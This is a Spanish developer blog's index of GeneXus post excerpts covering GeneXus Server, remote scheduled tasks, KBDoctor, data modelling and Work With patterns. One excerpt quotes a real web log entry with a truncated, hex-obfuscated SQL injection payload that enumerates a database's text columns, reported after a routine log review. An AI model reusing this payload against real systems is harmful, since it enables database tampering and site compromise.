Entradas

GeneXus Server: Wish list.

Imagen
GeneXus Server , es la herramienta desarrollada por Artech, para el trabajo en grupo con GeneXus. Hoy es como un respositorio centralizado de una KB, donde los desarrolladores del grupo de trabajo suben  los cambios que han programado (operación commit) y actualizan lo que los demás han cambiado (operación update). Desde que migramos a la versión X, estamos usando dicha herramienta y es un cambio grande en la forma de trabajo que teníamos con versiones anteriores de GeneXus, pues mejora muchísimo el ciclo de consolidación de los cambios. Luego de usarlo por un tiempo, hemos ido acumulando algunos cambios que paso a listar aquí: 1) Traer objetos desde otra KB que esta en GeneXus Server. Seria muy practico, poder seleccionar algunos objetos desde la interfaz WEB y poder generar un archivo de export. Por ejemplo, veo una KB en GXServer en su interfaz WEB. que tiene algo que me interesa (por ejemplo una trasacción y algunos dominios)  y quiero incorporarla a mi KB local...

Ejectuar tareas agendadas en otro servidor.

Imagen
Tenia que realizar una tarea sencilla: Desde un servidor WEB, se quería ejecutar un proceso en otro servidor, como indica el esquema La aplicación WEB está desarrollada con GeneXus y el servidor de aplicaciones es un servidor windows y tiene la tarea schedulada para correr una vez por dia. Lo que se quiere es que el usuario pueda ejecutar la tarea cada vez que lo desee. Para lograrlo, se puede usar el el comando schtasks.exe /run /S servidor_aplicaciones /TN Tarea1 y ejecutarlo con el comando shell(). El usuario necesita algún permiso especial para poder ejecutarlo, pero es algo que se puede solucionar fácilmente. Me pareció una solución sencilla para ejecutar algo a demanda (cuando el usuario lo quiera) y tambien cada un determinado periodo.

Intento de SQL Injection.

Imagen
En una revisión rutinaria de los logs de un servidor web, encontramos la entrada: 2013-07-25 15:25:52 17.172.13.1 GET /petroglifo/hwnbuspa.aspx 1+declare+@s+varchar(8000)+ set+@s=cast( 0x73657420616e73695f7761726e69 6e6773206f6666204445434c415245 204054205641524348415228323535 292c40432056415243484152283235 3529204445434c415245205461626c 655f437572736f7220435552534f52 20464f522073656c65637420632e54 41424c455f4e414d452c632e434f4c 554d4e5f4e414d452066726f6d2049 4e464f524d4154494f4e5f53434845 4d412e636f6c756d6e7320632c2049 4e464f524d4154494f4e5f53434845 4d412e7461626c6573207420776865 726520632e444154415f5459504520 696e2028276e76617263686172272c 2776617263686172272c276e746578 74272c2774657874272920616e6420 632e4348415241435445525f4d4158 494d554d5f4c454e4754483e313020 616e6420742e7461626c655f6e616d 653d632e7461626c655f6e616d6520 616e6420742e7461626c655f747970 653d2742415345205441424c452720 4f50454e205461626c655f43757273 6f72204645544348204e4558542046 524f4d205461626c655f437572736f 7220...

KBDoctor: Novedades.

Imagen
En los últimos días, he estado haciendo algunas opciones nuevas para el KBDoctor y algunos cambios a las existentes. 1) Objetos no alcanzables. Para el calculo de los objetos alcanzables, empece a usar referencias mas estrictas (uso las  ReferenceType.Hard, en vez de tomarlas todas). Esto hacia que si una tabla era referenciada, todos los atributos de la misma quedaban como  alcanzables. En la nueva versión, marca como no alcanzables algunos objetos mas que antes. 2) Transacciones Borrables.  Hice un reporte que muestra las transacciones borrables y defino  transacciones borrables, como  aquellas que son no alcanzables y ademas todas las tablas que se generan a partir de ella, son no alcanzables. Puedo eliminar todas las transacciones borrables, sin afectar mi sistema? En realidad, no. Puede ser que tenga una transacción borrable, pero que al borrarla, se genere una reorganización, que altere la estructura de las tablas. Pongamos el ejemplo d...

Chau Gabriel!

Imagen
Te vamos a extrañar.....

Modelado de datos con GeneXus.

Imagen
Me ha tocado varias veces realizar el primer  modelo de datos de un sistema (o de un modulo de un sistema). En dicho modelo, se define a grandes rasgos como se comportara el sistema y si bien a lo largo de la vida del sistema, el modelo de datos va a cambiar bastante, la experiencia indica que un buen modelado inicial es fundamental para que el desarrollo de todo el sistema sea fluido. Esto muchas veces, determina el exito o fracaso de los proyectos, por lo tanto, conviene tomarse un buen tiempo para definir un modelo de datos que nos convenza. Las técnicas que pueden utilizarse para la realización de modelos de datos, son muy variadas. Voy a presentar una muy sencilla que me ha dado buen resultado. Para dimensionar un poco el problema, supongamos que consiste en un modelo de datos de unas 20 tablas relaciondas, que tiene poco contacto con las existentes (aunque podria no ser este el caso). Los pasos a seguir son los siguientes 1) Preparación de la KB La idea es com...

PIENSO-PIENSO: Trabajar con Facturas (Excel y PDF) - Continuacion.

Imagen
En el post Pienso-Pienso: Trabajar con Facturas.(SOLUCIONES)  comentaba como podia resolverse el problema de hacer un trabajar con sobre una tabla, pero filtrando por otra, sin repetir renglones en la grilla.  Esto es relativamente fácil de lograr y la solución es general y se aplica a todos los patrones WW que conozco.  Hablando específicamente del pattern WorkWithPlus , no es tan sencillo de lograr que se respeten los filtros en los programas que generar Excel y PDF y mantener el programa enganchado a la instancia.  Lo que quiero lograr, es que se el reporte PDF y la planilla excel pueda generarse con los renglones que tengo filtrados en mi grilla del trabajar con . Ademas debería poder agregar filtros nuevos y columnas a la instancia y que los programas se regeneren sin tener que hacer volver a tocarlos. De esta forma, es la que permite sacar mayor provecho de los patterns y donde se ve la verdadera ventaja de utilizarlos.  Para la generación ...

Pienso-Pienso: Trabajar con Facturas.(SOLUCIONES)

Imagen
En el post Trabajar con Facturas   planteaba el problema de hacer un programa siguiendo el patrón de diseño Work with y poder filtrar por una condición sobre las lineas de las facturas. En el ejemplo se planteaba que se debía poder filtrar por las facturas que tenían un determinado producto. El problema a evitar era que las lineas no se repitieran. En los comentarios plantearon las siguientes soluciones: 1) Trabajar con lineas de facturas con una linea especial. Gustavo planteaba agregar una linea especial a las facturas con un producto ficticio y filtrar siempre por dicho producto. Ventaja: Es bastante sencilla de implementar, aunque hay que agregar la linea ficticia en el momento de crear facturas. Desventaja: Hay que ocultar en el resto de la aplicación la existencia de dicho producto. No siempre es aplicable. 2) Crear una formula que concatena los productos. Alejandro plantea crear una formula con los productos redundantes y se busca con like en dicho campo. V...

Dominio WikiPage o agregar contenido semi-estructurado a mi aplicación

Imagen
Desde hace un tiempo, vengo encontrando un patrón repetido en las aplicaciones que estamos desarrollando: Hay que agregar algún tipo de contenido no demasiado estructurado a determinadas tablas. Para que se pueda entender pongo algunos ejemplos: User Control en el GeneXus MarketPlace.  Necesita una pagina con texto con formato, un titulo, una explicación, links a paginas de ejemplo y algunos archivos adjuntos para poder bajar dicho control Sistema de Incidentes.  Se necesita tener una explicación y una resolución con una historia de los mismos, dejando registro de quien agrega / cambia algo. Es util tambien tener links a otros incidentes y tener adjuntos. Proyectos de desarrollo compartido. Es bueno tener una pagina donde se explique el alcance, los objetivos, las tareas que quedan por hacer. También es bueno tener para bajar los archivos necesarios para hacer funcionar dicho proyecto. Varias de estas necesidades las podemos resolver con un Wiki, por lo que se ...

Pienso-Pienso: Eliminar tabla y foreign key por Dominio con valores enumerados.

En una aplicación GeneXus, tengo las tablas Proyectos *ProyectoID          ProyectoNombre  Char(60)  Estado (Ingresado, Cotizado,Aprobado, Suspendido, Terminado y pueden haber mas) y Estados de Proyecto *Estado               Char(3)   EstadoNombre  Char(60)   Activo                Boolean  //Indica si el proyecto esta activo o ya esta terminado En mi aplicación tengo que hacer referencias a determinados valores del Estado, para realizar determinadas acciones, por ejemplo para notificaciones y/o alarmas. Un desarrollador plantea eliminar la tabla Estados de Proyectos y sustituirla con un Dominio con valores Enumerados , con lo cual se elimina una tabla y varios joins entre la tabla de Proyectos y  Estados en las navegaciones de los programas. En la aplicación hay consultas que solo muestr...